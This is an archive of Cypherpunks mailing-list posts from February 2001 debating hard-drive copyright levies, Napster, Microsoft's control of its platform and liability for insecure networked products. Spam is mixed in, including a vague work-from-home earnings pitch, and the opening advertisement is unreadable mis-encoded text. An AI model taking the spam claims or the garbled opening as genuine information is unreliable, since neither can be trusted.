32 - 119618, c. Lnqjb`, 50 ker Njrap, d. 11 - 100 - qnaqrbemmhj

R`jfe opnhgbndhl pechqrp`vh~ opedophrhi ond g`j`g (nr 100 $)

3, 5, 7, 14, 27-33, 35, 47 (11 h 12) CMH m` nwepedh.

M` bqe `dpeq` opednqr`bkerq c`p`mrh qpnjnl " 45 dmei.

R`jfe l{ nqsyeqrbkel onhqj qnaqrbemmhj` ond g`j`g. Hyel on jnmjpermni skhve, werm{l hkh mewerm{l dnl`l. Qnaqrbemmhjnb opednqr`bk~yhu ~phdhweqjhi `dpeq q pe`k|mni `pemdni onleyemh h aeg b{xesj`g`mmni `pemd{.
	
Qd`erq onleyemhe on 28 CMH (sk. Reok{i Qr`m, 2 lhmsr{ nr l. R. Qr`m), 130 $ g` l2 b cnd. Bqecn 250 l2.

 B qksw`e hglememh m`xecn reketnm` hkh `dpeq` B{ lnfere onqerhr| m`x bhprs`k|m{i nthq h sgm`r| msfms~ dk B`q hmtnpl`vh~.
Web page: http://address095.bizland.com
Reketnm dk qop`bnj: 798-1972
@brnnrberwhj/t`jq: 705-9285 `a. 87464




From hrdept at archrivalcom.com  Thu Feb 15 02:51:47 2001
From: hrdept at archrivalcom.com (hrdept at archrivalcom.com)
Date: Thu, 15 Feb 2001 02:51:47
Subject: Homeworker Needed
Message-ID: <200102141638.IAA01524@toad.com>


Are you interested in earning more than $1200? We're seeking 
people to help  us with typing and data processing at home. Only  
serious applicants need to apply.







************************************************************
 This message is sent in compliance of the new e-mail bill: of S. 
 1618, further transmissions to you by the sender of this email   
 may be stopped at no cost to you by sending  a reply to this    
email address with the word "remove" in the subject line."
 
 
 
 
 




From honig at sprynet.com  Thu Feb 15 07:51:08 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 15 Feb 2001 07:51:08 -0800
Subject: Taxes on hard drives
In-Reply-To: <a05010403b6b1040f24ac@[207.111.241.219]>
References: <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>
 <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>
Message-ID: <3.0.5.32.20010215075108.009a42c0@207.69.200.219>


At 08:09 PM 2/14/01 -0800, Tim May wrote:
>Why should someone who is not downloading music or images (or 
>whatever it is the tax is allegedly meant to support) be taxed thusly?

Yep.  This is terrifically offensive.

>(But some of us had the last laugh. The "Home Recording Act" tax came 
>with the proviso that unlimited "non-commercial" copying was now 
>unprosecutable. A friend of mine copied more than 4500 CDs onto about 
>a thousand DAT tapes. The DAT tapes were purchased in bulk from a guy 
>in Nashville for about $2 per 4-hour (highest quality) tape. Now, of 
>course, CD-Rs can be purchased in bulk for about $0.28 per 80-minute 
>blank, so my friend is now making mostly CD-Rs. He makes extras for 
>me, for the cost of the materials, so I have about 500 CDs "for free" 
>that are perfectly legal under the Home Recording Act. Of the 28 
>cents per blank CD-R, how much is going to Limp Biskit?)

I'm not convinced this is legal[1], but if it is: then Napster tools that
work only for "buddy lists" would also be untouchable.  With what
constitutes a "buddy" decided by some judge, eventually.

I realize this is just a historical spur; the fate of copyright in
the era of crypto-equipt networked pcs etc etc...

[1] Not familiar with the HRA in detail... yes you can make personal 
backup or other-media copies for yourself, but distributing them while
you retain copies yourself?  






From honig at sprynet.com  Thu Feb 15 08:01:28 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 15 Feb 2001 08:01:28 -0800
Subject: Taxes on hard drives
In-Reply-To: <Pine.LNX.4.10.10102142206270.4897-100000@clueserver.org>
References: <200102150433.XAA20500@www2.aa.psiweb.com>
Message-ID: <3.0.5.32.20010215080128.009b9b10@207.69.200.219>


At 10:25 PM 2/14/01 -0800, Alan Olsen wrote:
>The things I find most interesting in the way of the non-traditional music
>distribution channels are the things I *cannot* buy.
>

Using the search mechanisms, you can find groups in a genre you are
interested in.
For instance, 'industrial' will find files whose names include that label.

An interesting problem for Napster et al: if they have to control the indexing
of files that are claimed by Content Corporations, they can't just use the
name of a band.  Because you can label your own, public-domain music with
their
"proprietary" labels, e.g., "Joe's Band ---better than Metallica"   (Also
many files
are 'covers' of other songs.)  And watermarking the files won't work.  
So implementing the control that the courts will require, without being
heavy-handed,
is not nearly as easy as the courts might imagine.







From ben at algroup.co.uk  Thu Feb 15 01:04:46 2001
From: ben at algroup.co.uk (Ben Laurie)
Date: Thu, 15 Feb 2001 09:04:46 +0000
Subject: April RSA, Cypherpunks Meeting Schedule - Request for Comments?
References: <3.0.5.32.20010214085157.00958ae0@idiom.com>
Message-ID: <3A8B9BAE.996FE158@algroup.co.uk>

Bill Stewart wrote:
> 
> The 2001 RSA Security Conference will be April 8-12 in San Francisco.
>         http://www.rsasecurity.com/conference/
> 
> The Bay Area Cypherpunks monthly meeting is normally the second Saturday,
> except when there are major conferences in town.
> If you're visiting the area that week, are you likely to be here
> for the weekend of the 7th or the 14th?

I'm there for the 7th but not the 14th. So I vote for the 7th
(especially since I couldn't find you lot last time).

Cheers,

Ben.

--
http://www.apache-ssl.org/ben.html

"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff




From bart0 at earthlink.net  Thu Feb 15 09:13:59 2001
From: bart0 at earthlink.net (Harry Bartholomew)
Date: Thu, 15 Feb 2001 09:13:59 -0800
Subject: Possibilities Of Atom Optics Border On The Fantastic
Message-ID: <3A8C0E57.21B0AA08@earthlink.net>


Quantum computing, quantum cryptography and atom lithography are other
possible technologies that depend on reaching a deeper theoretical
understanding of the fundamental physics that governs how ultra cold
atoms behave.

http://unisci.com/stories/20011/0215016.htm








From bear at sonic.net  Thu Feb 15 09:23:08 2001
From: bear at sonic.net (Ray Dillinger)
Date: Thu, 15 Feb 2001 09:23:08 -0800 (PST)
Subject: Taxes on hard drives
In-Reply-To: <a05010403b6b1040f24ac@[207.111.241.219]>
Message-ID: <Pine.LNX.4.21.0102150912240.29805-100000@bolt.sonic.net>




On Wed, 14 Feb 2001, Tim May wrote:

>At 6:27 PM -0800 2/14/01, Ray Dillinger wrote:
>>
>>BTW; I don't generally download music: I tried it and the sound
>>quality of MP3 is crap.  I don't use windows; the engineering
>>quality of the product is crap.  But I'd still rather pay taxes
>>on hard drives than have snooping software installed in Windows.
>>See, given the choice, I'd rather have taxes rather than snooping
>>software accepted as "normal". -- At least for now.
>
>A tax on a hard drive is a theft, a shake down. Rent-seeking.

No argument here.  That's absolutely true.  All I'm saying is 
that I'd rather be subject to theft (at predictable times and 
in predictable amounts) rather than invasion and monitoring.  
It's not that one is good; it's just slightly less annoying, 
inconvenient, and evil.

The real solution, of course, is open-content music.

>Why should someone who is not downloading music or images (or 
>whatever it is the tax is allegedly meant to support) be taxed thusly?

They shouldn't be.  Now, do you *really* want the infrastructure 
in place that would permit tax collectors to distinguish between 
those who are and those who aren't?  Didn't think so.

>Should paper be taxed so as to support writers?

Interesting analogy.  I hope someone uses it in court. 

>As to your preference for a tax on hard drives over snooping software 
>in Windows, the solution is to to not use products with such snooping 
>features. Or to find ways to cripple the functionality (as was done 
>with the barcode scanner giveaway of several months back).

Get real.  If they put snooping software in windows, it will be 
accepted as "normal" within a few years, and the leap is short 
from there to "legal requirement".   I don't want the "legal 
requirement", and I'm willing to pay money (extortion money if 
you think about it, but what the hell, that's nothing new where 
governments are involved) to avoid it. 

>The "tax" approach is attractive to the thugs for the obvious 
>reasons: more opportunities to shake down the proles and collect a 
>percentage for themselves.

Yep.  No argument there; all that means is that in the fight to 
keep snooping software out of operating systems, political greed 
is one of the weapons that's on our side.  What's your point?


				Bear





From alan at clueserver.org  Thu Feb 15 11:35:28 2001
From: alan at clueserver.org (Alan Olsen)
Date: Thu, 15 Feb 2001 11:35:28 -0800 (PST)
Subject: Taxes on hard drives
In-Reply-To: <3A8BE3AF.F0AE2F05@ccs.bbk.ac.uk>
Message-ID: <Pine.LNX.4.10.10102151123580.7204-100000@clueserver.org>


On Thu, 15 Feb 2001, Ken Brown wrote:

> Alan Olsen wrote:
> 
> [...snip...] 
> 
> > The things I find most interesting in the way of the non-traditional music
> > distribution channels are the things I *cannot* buy.
> > 
> > -- Bands from countries that do not speak english.  (I have found some
> > great stuff from China, Sweeden and Finland, for example.)
> 
> That's the trouble with all you suburbanites. A three hour drive to the
> shop & then all you can get is Metallica & Puff Daddy. Over here in
> London there are maybe ten shops in a short lunchbreak's stroll of my
> desk where I would be able to buy vast quantities of
> non-English-language music. I bet the same is true of New York or Paris.
> You guys just need to get back to the big city :-)

I live in portland, OR.  Not exactly small, but to find anything
interesting is difficult to say the least.  (There are a few places, but
the selection is limited and usually quite expensive.)

Then again, some of the things I have found on the net you can't buy even
there.  For example, I have seen at least 40 episodes of "I'm Sorry I'll
Read That Again" available on the net.  There are about eight available on
tape in England.  (According to Amazon-UK.)

Personally I see the whole unauthorized copying issue as a reaction to the
excesive prices charged for music.  Think of it as "market forces" at
work.  (What other option is there?  People have been so indoctrinated
into the idea of having music available 24 hours per day, that can't think
of having anything less than the full fix.)

Interestingly enough, I have seen studies quoted that people who download
alot of music also buy alot of music as well.  (I know I do.)  I am
willing alot less gets spent on "product bands" though. Maybe that is why
the record companies get so pissed about it.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From JFAI01 at denes.suffolk.sch.uk  Thu Feb 15 03:40:12 2001
From: JFAI01 at denes.suffolk.sch.uk (JFAI01)
Date: Thu, 15 Feb 2001 11:40:12 -0000
Subject: SON_fuz
Message-ID: <200102151140.SM00274@stn19>






From ravage at EINSTEIN.ssz.com  Thu Feb 15 11:18:03 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 15 Feb 2001 13:18:03 -0600
Subject: The Register - 3G Encryption
Message-ID: <3A8C2B6B.AC623898@ssz.com>


http://www.theregister.co.uk/content/8/16951.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From alphabeta121 at hotmail.com  Thu Feb 15 11:34:33 2001
From: alphabeta121 at hotmail.com (Brent Mattis)
Date: Thu, 15 Feb 2001 13:34:33 -0600
Subject: Taxes on hard drives
Message-ID: <F289PmpDKNaOl0VIraz0000e3fd@hotmail.com>


I seriously doubt unbreakable snooping software will be made a legal 
requirement in the next few years.  I mean, if you switch to say, BSD, who 
are they going to impose the task of adding features, like 'rights 
management' on?
All i'm trying to say is its pretty easy to screw over any software gimmicks 
they come up with, but levying a fine against you when you by a computer?  
thats crap.  And even if they impose a tax anyway, who is to stop them from 
imposing the dreaded "snooping software" later, under some different 
pretenses.
alphabeta


>From: Ray Dillinger Reply-To: cypherpunks at ssz.com CC: 
>cypherpunks at cyberpass.net Subject: CDR: Re: Taxes on hard drives Date: Thu, 
>15 Feb 2001 09:23:08 -0800 (PST)
>
>
>
>On Wed, 14 Feb 2001, Tim May wrote:
>
> >At 6:27 PM -0800 2/14/01, Ray Dillinger wrote: >> >>BTW; I don't 
>generally download music: I tried it and the sound >>quality of MP3 is 
>crap. I don't use windows; the engineering >>quality of the product is 
>crap. But I'd still rather pay taxes >>on hard drives than have snooping 
>software installed in Windows. >>See, given the choice, I'd rather have 
>taxes rather than snooping >>software accepted as "normal". -- At least for 
>now. > >A tax on a hard drive is a theft, a shake down. Rent-seeking.
>
>No argument here. That's absolutely true. All I'm saying is that I'd rather 
>be subject to theft (at predictable times and in predictable amounts) 
>rather than invasion and monitoring. It's not that one is good; it's just 
>slightly less annoying, inconvenient, and evil.
>
>The real solution, of course, is open-content music.
>
> >Why should someone who is not downloading music or images (or >whatever 
>it is the tax is allegedly meant to support) be taxed thusly?
>
>They shouldn't be. Now, do you *really* want the infrastructure in place 
>that would permit tax collectors to distinguish between those who are and 
>those who aren't? Didn't think so.
>
> >Should paper be taxed so as to support writers?
>
>Interesting analogy. I hope someone uses it in court.
>
> >As to your preference for a tax on hard drives over snooping software >in 
>Windows, the solution is to to not use products with such snooping 
> >features. Or to find ways to cripple the functionality (as was done >with 
>the barcode scanner giveaway of several months back).
>
>Get real. If they put snooping software in windows, it will be accepted as 
>"normal" within a few years, and the leap is short from there to "legal 
>requirement". I don't want the "legal requirement", and I'm willing to pay 
>money (extortion money if you think about it, but what the hell, that's 
>nothing new where governments are involved) to avoid it.
>
> >The "tax" approach is attractive to the thugs for the obvious >reasons: 
>more opportunities to shake down the proles and collect a >percentage for 
>themselves.
>
>Yep. No argument there; all that means is that in the fight to keep 
>snooping software out of operating systems, political greed is one of the 
>weapons that's on our side. What's your point?
>
>
>Bear
>
>
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From k.brown at ccs.bbk.ac.uk  Thu Feb 15 06:11:59 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Thu, 15 Feb 2001 14:11:59 +0000
Subject: Taxes on hard drives
References: <Pine.LNX.4.10.10102142206270.4897-100000@clueserver.org>
Message-ID: <3A8BE3AF.F0AE2F05@ccs.bbk.ac.uk>


Alan Olsen wrote:

[...snip...] 

> The things I find most interesting in the way of the non-traditional music
> distribution channels are the things I *cannot* buy.
> 
> -- Bands from countries that do not speak english.  (I have found some
> great stuff from China, Sweeden and Finland, for example.)

That's the trouble with all you suburbanites. A three hour drive to the
shop & then all you can get is Metallica & Puff Daddy. Over here in
London there are maybe ten shops in a short lunchbreak's stroll of my
desk where I would be able to buy vast quantities of
non-English-language music. I bet the same is true of New York or Paris.
You guys just need to get back to the big city :-)

Ken Brown




From tom at ricardo.de  Thu Feb 15 05:31:33 2001
From: tom at ricardo.de (Tom)
Date: Thu, 15 Feb 2001 14:31:33 +0100
Subject: Zimmerman and Hayden, sitting in a tree...
References: <000401c0969c$d807d370$1301a8c0@rms.acroloop.com>
Message-ID: <3A8BDA35.B014F257@ricardo.de>


Roy Silvernail wrote:
> >I doubt they want to get rid of 3rd parties. but I bet that someone had
> >a wet dream about "run-license-fees" in addition to money for
> >development kits and MCSE batches. so, the future for M$ may be even
> >MORE 3rd party developers - but unless they ship, say, $1 to M$ per copy
> >sold, their software simply won't run. oops.
> 
> Good point.  Do you think there is a critical mass point where developers
> would "just say no", though?  

yes, there is. and I'm fairly sure at least one full-time person at M$
is busy on a study to find it.




From tom at ricardo.de  Thu Feb 15 05:41:53 2001
From: tom at ricardo.de (Tom)
Date: Thu, 15 Feb 2001 14:41:53 +0100
Subject: Slashdot | European Record Industry Goes After Personal Computers
References: <3A8B16CB.70ECDB6E@ssz.com> <005d01c096e9$5fb7c7c0$6975e5a9@Reshall.berkeley.edu>
Message-ID: <3A8BDCA1.3F317582@ricardo.de>


atek3 wrote:
> 
> What a bunch of lame ass looters, at least metallica pretends to take the
> moral high ground.  These pieces of shit want to levy idiotic taxes because
> "its simple"
> Screw theses leftists.  Articles like this remind me to pray every night
> that I don't wake up in the People's Republic of Europe.

at least we still have a couple more rights than you do, especially when
it comes to copyright. isn't that weird? most europe legislative history
sees copyright as a "natural right", while the US does not. yet you have
more and worse restrictions on it.

examples: where I live, making a copy for a friend is LEGAL. also,
pseudo-copies, such as installing a software to your harddisk or
"copying" it to the memory in order to execute it do not require any
specific allowance, i.e. you don't have to sign away your rights and
your firstborn son on some stupid "license agreement". decss is
unchallenged over here, and is considered perfectly legal by every legal
expert who's opinion was published somewhere where I've seen it.

there's good and bad points everywhere. uninformed comments like yours
above just reveal a prejudice.




From tom at ricardo.de  Thu Feb 15 05:45:27 2001
From: tom at ricardo.de (Tom)
Date: Thu, 15 Feb 2001 14:45:27 +0100
Subject: Slashdot | European Record Industry Goes After Personal 
 Computers
References: <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>
Message-ID: <3A8BDD77.E0920192@ricardo.de>


Ray Dillinger wrote:
> There's a lot to be said for "simple", especially when it would
> require invasive (and expensive) monitoring to implement a per-
> song download fee.

that is actually one of the main plus points of this, and privacy is one
of the reasons it's been implemented here (germany) - an invasive
monitoring scheme would violate our privacy laws. yes, we have laws that
actually give citizen a right to privacy.


> BTW; I don't generally download music: I tried it and the sound
> quality of MP3 is crap.  I don't use windows; the engineering
> quality of the product is crap.  But I'd still rather pay taxes
> on hard drives than have snooping software installed in Windows.
> See, given the choice, I'd rather have taxes rather than snooping
> software accepted as "normal". -- At least for now.

yepp. if you accept that you have to pay for music copies, then a flat
fee is the less invasive and more privacy-conscious option.




From info at giganetstore.com  Thu Feb 15 06:52:57 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Thu, 15 Feb 2001 14:52:57 -0000
Subject: Visite-nos na Internet World Portugal 2001
Message-ID: <04f775852140f21WWWSHOPENS@wwwshopens.giganetstore.com>



O INTERNET WORLD TOUR, a maior mostra mundial de produtos e serviços
Internet vai estar em portugal nos dias 22 a 24 de Fevereiro no Parque
das Nações, em Lisboa.

E como não podia deixar de ser a giganetstore.com
<http:%5C%5Cwww.giganetstore.com>  vai estar presente e vem convidá-lo a
visitar-nos no nosso stand no Pavilhão 1. 

Por isso estamos a oferecer bilhetes aos nossos clientes para a entrada
na respectiva Feira.

Para a obtenção desses bilhetes bastará deslocar-se às nossas
instalações ( Av. Defensores de Chaves, nº 45, 7º Andar, Lisboa) entre
as 09h00 e as 18h00 e indicar o seu nome e USERNAME de cliente
giganetstore.com. 
Não perca tempo, pois o número de bilhetes de que dispomos é limitado.

Se pretender mais informações sobre este evento clique em
http://iwp.fbnet.pt <http://iwp.fbnet.pt%20> 

Para retirar o seu email desta mailing list deverá entrar no nosso site
giganetstore.com <http://www.giganetstore.com/> , ir à edição do seu
registo e retirar a opção de receber informação acerca das nossas
promoções e novos serviços. 
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From info at giganetstore.com  Thu Feb 15 07:20:58 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Thu, 15 Feb 2001 15:20:58 -0000
Subject: Visite-nos na Internet World Portugal 2001
Message-ID: <071465820150f21WWWSHOPENS@wwwshopens.giganetstore.com>



O INTERNET WORLD TOUR, a maior mostra mundial de produtos e serviços
Internet vai estar em Portugal nos dias 22 a 24 de Fevereiro no Parque
das Nações, em Lisboa.

E como não podia deixar de ser a giganetstore.com
<http://www.giganetstore.com>  vai estar presente e vem convidá-lo a
visitar-nos no nosso stand no Pavilhão 1. 

Por isso estamos a oferecer bilhetes aos nossos clientes para a entrada
na respectiva Feira.

Para a obtenção desses bilhetes bastará deslocar-se às nossas
instalações ( Av. Defensores de Chaves, nº 45, 7º Andar, Lisboa) entre
as 09h00 e as 18h00 e indicar o seu nome e USERNAME de cliente
giganetstore.com. 
Não perca tempo, pois o número de bilhetes de que dispomos é limitado.

Se pretender mais informações sobre este evento clique em
http://iwp.fbnet.pt <http://iwp.fbnet.pt%20> 

Para retirar o seu email desta mailing list deverá entrar no nosso site
giganetstore.com <http://www.giganetstore.com/> , ir à edição do seu
registo e retirar a opção de receber informação acerca das nossas
promoções e novos serviços. 
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From gbroiles at netbox.com  Thu Feb 15 15:28:24 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 15 Feb 2001 15:28:24 -0800
Subject: How responsible is the vendor of a crypto-enabled product?
In-Reply-To: <3A8BFA7A.8775.1B0DF66@localhost>; from roy@scytale.com on Thu, Feb 15, 2001 at 03:49:14PM -0600
References: <3A8BFA7A.8775.1B0DF66@localhost>
Message-ID: <20010215152823.I19492@ideath.parrhesia.com>


On Thu, Feb 15, 2001 at 03:49:14PM -0600, Roy M. Silvernail wrote:
> 
> I got into an interesting conversation today.  Here's the question:  if 
> a vendor rolls out a net-enabled product that features a crypto-
> secured interface, what kind of liability do they face if the interface 
> security is breached?  In particular, we were discussing machine 
> controls and the recent incident where it was discovered that one 
> manufacturer was fielding a GPIB control card with TCP/IP 
> Ethernet and no security at all. 
> 
> If a net-connected and secured machine were hacked and death or 
> personal injury resulted, does that make the manufacturer an 
> accessory to manslaughter?  Would having a provably good (or 
> provably bad) security layer mitigate this?

See, generally, Cem Kaner's _Bad Software_ or 
<http://www.badsoftware.com>.

The short answer is that liability is very unlikely, especially in a
consumer device scenario - both because of the traditional lack of
warranties for software, and because of the unlikelihood of the
injury. Generally, products don't need to be designed with criminal
activity of third parties in mind - and products which are safety-
essential are probably sold plastered with warnings about verifying
proper operation before critical use, which are intended to shift
the legal (and moral) burden from the manufacturer to the end user.

If I were the plaintiff's attorney, I'd try really hard to use
advertising/marketing statements about the security of the 
products to create an express warranty (other than the weak one
that the company's lawyers will have written) .. dunno if that
would work or not, but it would be fun to try. 

On the other hand, look at what product liability suits did to
the amateur aircraft industry - for some time, I understand that
Cessna simply stopped making new planes, because it just wasn't
economical to stay in business. If software didn't have an 
"as-is" warranty - or if software publishers were forced to stand
behind their products in a meaningful fashion, with support and/or
service, recalls, and all of that, buying a computer would look
more like buying a car and less like buying a gun. (where pretty
much the entire enterprise involves some amount of danger,
though the product liability people have sure given it a good
try.) 

The money which would be paid to plaintiffs, or provided in 
services to them, has got to come from somewhere - either
shareholders or customers, corporations are just leaky money
pipes shipping the stuff between those two endpoints. 

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From roy at scytale.com  Thu Feb 15 13:49:14 2001
From: roy at scytale.com (Roy M. Silvernail)
Date: Thu, 15 Feb 2001 15:49:14 -0600
Subject: How responsible is the vendor of a crypto-enabled product?
Message-ID: <3A8BFA7A.8775.1B0DF66@localhost>


I got into an interesting conversation today.  Here's the question:  if 
a vendor rolls out a net-enabled product that features a crypto-
secured interface, what kind of liability do they face if the interface 
security is breached?  In particular, we were discussing machine 
controls and the recent incident where it was discovered that one 
manufacturer was fielding a GPIB control card with TCP/IP 
Ethernet and no security at all. 

If a net-connected and secured machine were hacked and death or 
personal injury resulted, does that make the manufacturer an 
accessory to manslaughter?  Would having a provably good (or 
provably bad) security layer mitigate this?
--
Roy M. Silvernail
Proprietor, scytale.com
roy at scytale.com




From gujral4 at satyam.net.in  Thu Feb 15 15:49:58 2001
From: gujral4 at satyam.net.in (sanjay)
Date: Thu, 15 Feb 2001 15:49:58 -0800
Subject: s.sscrap
Message-ID: <000401c097bd$222902a0$c058d6d2@india>

WE WANT TO BUY STAINLESS STEEL SCRAP 304/430 & HI NICKLE SCRAP. PL.TELL
SANJAY GUJRAL
E-MAIL- gujral4 at satyam.net.in


  
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From sunder at sunder.net  Thu Feb 15 13:33:10 2001
From: sunder at sunder.net (Sunder)
Date: Thu, 15 Feb 2001 16:33:10 -0500
Subject: Zimmerman and Hayden, sitting in a tree...
References: <002401c09692$09e443c0$1301a8c0@rms.acroloop.com>
Message-ID: <3A8C4B16.8713F3F8@sunder.net>


Roy Silvernail wrote:
> 
> Concur.  MICROS~1 is moving steadily toward a secured platform that gives
> them full control of what will and won't run.  Were it up to them, there
> would be no third-party development.  Ironic, considering third-party
> development has played such a large part in their rise to ubiquity.

I wouldn't worry about them.  I have this analogy in mind that micro$hit is
a lot like IBM.  Once threatened with heavy competition from the pc clones,
they went to microchannel.  But no one followed.  Most people decided to
not go for proprietary, generic stuff.

Until recently, the last time I've played with Linux was about 5 years ago
and that was with Slackware.  I've spent most of my unix time in OpenBSD
or Solaris land.  Recently having come back, I see little difference from 
a users point of view in installation or use difficulty to w98 or w2k and 
Mandrake 7.2 or RedHat 7.

Sure 9x/NT/2k is not now nor has ever been remotely linux like, but the
idea of getting your linux (or BSD) from a specific vendor doesn't stop 
you from running (open source) software.

Even most non-open sourced stuff will run under linux emulation on *BSD
boxes anyway.

What the dickwads are doing is attempting to coerce hardware vendors to
lock themselves into windows only.  They won't do it.  Those that will
can look forward to huge losses of money or having their drivers reverse
engineered.


For more fun, see today's slashdot.org: 

http://slashdot.org/articles/01/02/15/1825221.shtml

Based on Allchin's words, I'd say they're seeing the writing on the wall.
Perhaps some new survey indicating how many open source systems versus
how many microsoft systems there really are out there crawled up his ass.


-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From mrnjonco at pernet.net  Thu Feb 15 16:57:03 2001
From: mrnjonco at pernet.net (MRYNA & john)
Date: Thu, 15 Feb 2001 16:57:03 -0800
Subject: games
Message-ID: <000801c097b3$62342aa0$a53f12cf@mrnjonco>

I had previously signed to play your games. My computer was down for about two wks. After going back on line I  signed with you again. The problem is I forgot my account name and password, so I entered another one thinking when my computer was down I had lost everything including my points. I only learned my first  account name and password when I recieved your E-mail. So I now have 43930 points under Calliewalley Calico and 1556 points under Calleywalley Cat. What do I do? I would like to keep the name Calliewalley Calico. Do I loose my points on the other account name?  Thank you, Myrna Connelly
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From bf at mindspring.com  Thu Feb 15 15:00:57 2001
From: bf at mindspring.com (Blank Frank)
Date: Thu, 15 Feb 2001 17:00:57 -0600
Subject: people to kill
Message-ID: <3A8C5FA9.3EA57BD1@mindspring.com>


Thursday February 15 2:42 PM ET
              New Jersey Student Posts 'Hit List'
              on Internet 

              MIDDLESEX, N.J. (Reuters) - An eighth grader was
              suspended from a New Jersey middle school this week
              after posting a ``hit list'' of fellow students on an
Internet
              Web site, school officials said on Thursday.

              The list was found on Tuesday posted on a Web site called
              ''People2kill.'' It named several students of the Mauger
              School and showed their pictures, school superintendent
              Patricia Johnson said.

              Police in the central New Jersey town are investigating
the
              incident. Middlesex Police Capt. Gregory Sharkey said no
              charges have been filed but had no other comment.

              ``I'm horrified and very disturbed by this. It's a sign of
the
              times,'' Johnson told Reuters.

              The student, a girl, was immediately removed from school
              and is undergoing a psychiatric evaluation.

              School officials do not believe the girl was going to
carry
              out the threats but searched her locker and personal
              belongings for weapons. None were found, Johnson said.

              The student has no prior disciplinary record. School
              officials said interviews with the girl indicated the
posting
              may have been a prank, Johnson said.

              The incident is one of the latest in an epidemic of
              shootings and threats in the nation's schools and
              workplaces, reminiscent of the 1999 Columbine massacre
              in which 15 people died, including the two teenage
              gunmen.




From ravage at EINSTEIN.ssz.com  Thu Feb 15 15:14:52 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 15 Feb 2001 17:14:52 -0600
Subject: The Register - Who owns the 'web'?
Message-ID: <3A8C62EC.DB26163@ssz.com>


http://www.theregister.co.uk/content/28/16940.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at EINSTEIN.ssz.com  Thu Feb 15 15:58:44 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 15 Feb 2001 17:58:44 -0600 (CST)
Subject: Suggested Reading
Message-ID: <Pine.LNX.3.96.1010215175442.356C-100000@einstein.ssz.com>



Coercion: Why we listen to what "they" say.
Douglas Rushkoff
ISBN 1-57322-115-5 (1999)
$25 US

An interesting book by the author of Cyberia, and one which is nearly
diametrically opposite. What makes this book so interesting is the authors
about face with his past views.

"Coercion spotlights the manipulative sides of commerce today, with a
sobering look at its power in the Internet era. A must-read for anyone who
wants an antidote to techno-utopianism."

                                              Mitch Kapor
                                              backcover quote

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From kenny_maekit at hotmail.com  Thu Feb 15 11:57:50 2001
From: kenny_maekit at hotmail.com (Warren Piece)
Date: Thu, 15 Feb 2001 19:57:50 -0000
Subject: Taxes on hard drives
Message-ID: <F1997kNSRQDgFwZq7RW00005755@hotmail.com>


On Thu, 15 Feb 2001, Ken Brown wrote:
>You guys just need to get back to the big city :-)

not true.  in fact, i would argue that the difficulty of finding good music 
is widespread throughout the states.
i attribute this to the clueless, braindead fools who are governed by the 
radio...and we all know the stupidity of the people who control the radio 
stations.
yet, go to just about any country in europe (i say europe because my 
firsthand knowledge is limited) and you can easily find just about anything 
you want.  i have far better luck finding many american bands in europe than 
in america.  why?  because many albums are simply not _released_ in america. 
  a lot of albums that are released in america are released in europe first 
(even american bands).  then again, just listen to european radio.
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From francois.xavier.bodin at winealley.com  Thu Feb 15 11:47:00 2001
From: francois.xavier.bodin at winealley.com (francois.xavier.bodin at winealley.com)
Date: Thu, 15 Feb 2001 20:47 +0100
Subject: Following our mailing sent Wednesday, 6 December 2000
Message-ID: <200102151956.NAA31579@einstein.ssz.com>


Greetings wine lovers!

I have exciting news. Following our e-mail of Wednesday, 6 December 2000, I have the pleasure of announcing the arrival of our prestigious "Wine Alley" wine-tasting presentation box. This is a limited edition, sponsored by the most-renowned wine specialists, including Olivier Poussier, who was voted world's best sommelier in 2000, and backed by more than 400 international appellations.

Join our 5,000 members and take advantage of this unique gift. Remember, it's a limited offer!  

Discover right away your "Wine Alley" wine-tasting presentation box by clicking on: 
http://www.winealley.com/box/uk/


WINE ALLEY
The Club for Wine Enthusiasts.
By you.
For you.
